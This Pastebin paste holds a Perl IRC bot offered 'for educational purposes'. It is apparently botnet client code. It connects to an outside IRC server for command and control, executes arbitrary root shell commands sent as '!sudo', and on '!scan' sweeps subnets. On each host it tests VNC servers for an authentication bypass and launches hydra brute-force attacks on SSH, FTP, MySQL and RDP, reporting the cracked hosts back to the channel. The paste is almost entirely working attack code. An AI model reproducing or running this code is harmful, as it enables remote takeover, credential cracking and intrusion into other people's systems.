Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #For educational purposes or for use on your network only
- #This script has been modified from the original source.
- #Thanks to the real owner of it.
- #Get on my IRC Network if you need explainations on how you can use this script.
- use IO::Socket;
- use IO::Socket::INET;
- use threads;
- use threads::shared;
- use Errno qw(EAGAIN);
- use warnings;
- my $lines;
- our @results : shared;
- our $todo = 0;
- our $contatore = 0;
- my $orig_thread = "yes";
- my $start;
- my $end;
- my $out_file;
- my $range = 99999;
- my $random_number = int(rand($range));
- my @VNC_PORTS = qw/5900 5901 5902 5903 5904 5905 5906 5907 5908 5909/;
- my @hydra_PORTS = ( [3306, 'MySQL'], [22, 'SSH'], [21, 'FTP'], [3389, 'RDP'] );
- my $splits = 8; # Creates 2^N processes.
- our $subnet;
- my $nick = "b0t$random_number";# nick
- my $secureport = "6667";
- my $ircnet = "irc-1.iownyour.biz";
- my $canale = "#powercc";
- my $answer;
- my $sk = IO::Socket::INET->new(PeerAddr=>"$ircnet",PeerPort=>"$secureport",Proto=>"tcp") or die "Can not connect on server!\n";
- $sk->autoflush(1);
- print $sk "USER $nick 0 * :Robot made by independent \r\n";
- print $sk "NICK $nick \r\n";
- while ($answer = <$sk>) {
- if($answer =~ m/^PING (.*?)$/gi) #Answer ping requests
- {
- print $sk "PONG ".$1."\r\n";
- print $sk "JOIN $canale \r\n";
- }
- if ($answer=~ /!help/) {
- printa("Scan by independent: list , reload , die , sudo <cmd> , scan <ip>");
- }
- if ($answer=~ /!list/)
- {
- my $file = 'xploits.log';
- open my $fh, '<', $file or warn "Could not open '$file' $!\n";
- while (my $lines = <$fh>) {
- chomp $lines;
- if ($lines=~ /host/) {
- printa("$lines");
- }
- }
- }
- if ($answer=~ /!reload/)
- {
- printa("Reloading...");
- my @cmd = ("sudo pkill perl && sudo perl scan.pl && sudo pkill hydra");
- system(@cmd);
- }
- if ($answer=~ /!die/)
- {
- printa("Dying...");
- my @cmd = ("sudo pkill perl && sudo pkill hydra");
- system(@cmd);
- }
- if ($answer=~ /!sudo\s+(.*)/)
- {
- my $command = $1;
- printa("Done: $command ");
- my $cmd = "sudo $command";
- my @output = `$cmd 2>&1 3>&1`;
- foreach(@output) {
- printa("$_\r\n");
- }
- }
- if ($answer=~ /!scan (.+)/)
- {
- $todo = 0;
- $subnet = $1;
- if ($subnet =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.?\*?/) {
- $subnet =~ s/^(\d{1,3}\.\d{1,3}\.\d{1,3}).*/$1/;
- $subnet .= ".";
- printa("Scanning subnet ${subnet}x\n");
- CHECK: {
- unless ($splits >= 0 && $splits <= 8) {
- die "ERROR: Do not split $splits times--that makes no sense.\n";
- }
- }
- # Ugly, but this works.
- DivideWork() if $splits >= 1;
- DivideWork() if $splits >= 2;
- DivideWork() if $splits >= 3;
- DivideWork() if $splits >= 4;
- DivideWork() if $splits >= 5;
- DivideWork() if $splits >= 6;
- DivideWork() if $splits >= 7;
- DivideWork() if $splits >= 8;
- $start = $todo << (8 - $splits);
- $end = $start + (256 / (2**$splits)) - 1;
- foreach ($start .. $end) {
- Scan_ALL($_);
- }
- }
- else {
- printa("Are you brain-dead? Use a correct IP format. ");
- }
- }
- }
- ####################################
- sub DivideWork {
- my $pid;
- FORK: {
- $todo *= 2;
- if ($pid = fork) {
- # Parent
- ++$todo;
- } elsif (defined $pid) {
- # Child
- $orig_thread = "no";
- } elsif ($! == EAGAIN) {
- # Recoverable forking error.
- sleep 7;
- redo FORK;
- } else {
- # Unable to fork.
- printa("Unable to fork: $!\n");
- }
- }
- }
- sub Scan_ALL {
- my $hostnum = shift;
- my $host = $subnet . $hostnum;
- my $sock;
- my $proto_ver;
- my $ignored;
- my $auth_type;
- my $sec_types;
- my $vnc_data;
- $host or printa("ERROR: missing Host IP address Scan_ALL.");
- # The host numbers .0 and .255 are reserved; ignore them.
- if ($hostnum <= 0 or $hostnum >= 255) { return; }
- # Format things nicely--that crazy formula just adds spaces.
- $results[$hostnum] = "$host";
- $results[$hostnum] .= (" " x (4 - int(log($hostnum)/log(10)))) . " = ";
- foreach my $porti (@VNC_PORTS)
- {
- if (my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $porti, Proto => 'tcp')) {
- $sock->read($proto_ver, 12);
- print $sock $proto_ver;
- # Get supported security types and ignore them.
- $sock->read($sec_types, 1);
- $sock->read($ignored, unpack('C', $sec_types));
- # Claim that we only support no authentication.
- print $sock "\x01";
- # We should get "0000" back, indicating that they won't fall back to no authentication.
- $sock->read($auth_type, 4);
- # Client initialize.
- print $sock "\x01";
- # If the server starts sending data, we're in.
- $sock->read($vnc_data, 4);
- printa("[Xploiting VNC] $host");
- if (unpack('I', $vnc_data)) {
- $results[$hostnum] .= "VNC Vulnerable: $proto_ver\n";
- printa("9,3 [ $porti ] $results[$hostnum] $porti ");
- }
- }
- }
- foreach my $porti (@hydra_PORTS)
- {
- if (my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $porti->[0], Proto => 'tcp')) {
- close($sock);
- printa("[Cracking " . $porti->[1] . "] $host");
- my @cmdhydra = ("sudo hydra -F -L /user -P /pass $host " . lc($porti->[1]) . " -s " . $porti->[0] . " -v -t 4 -W3 >>xploits.log");
- system(@cmdhydra);
- return;
- }
- }
- close($sock);
- return;
- }
- sub printa {
- print $sk "PRIVMSG $canale :4,5 $_[0]. \r\n";
- }
Add Comment
Please, Sign In to add comment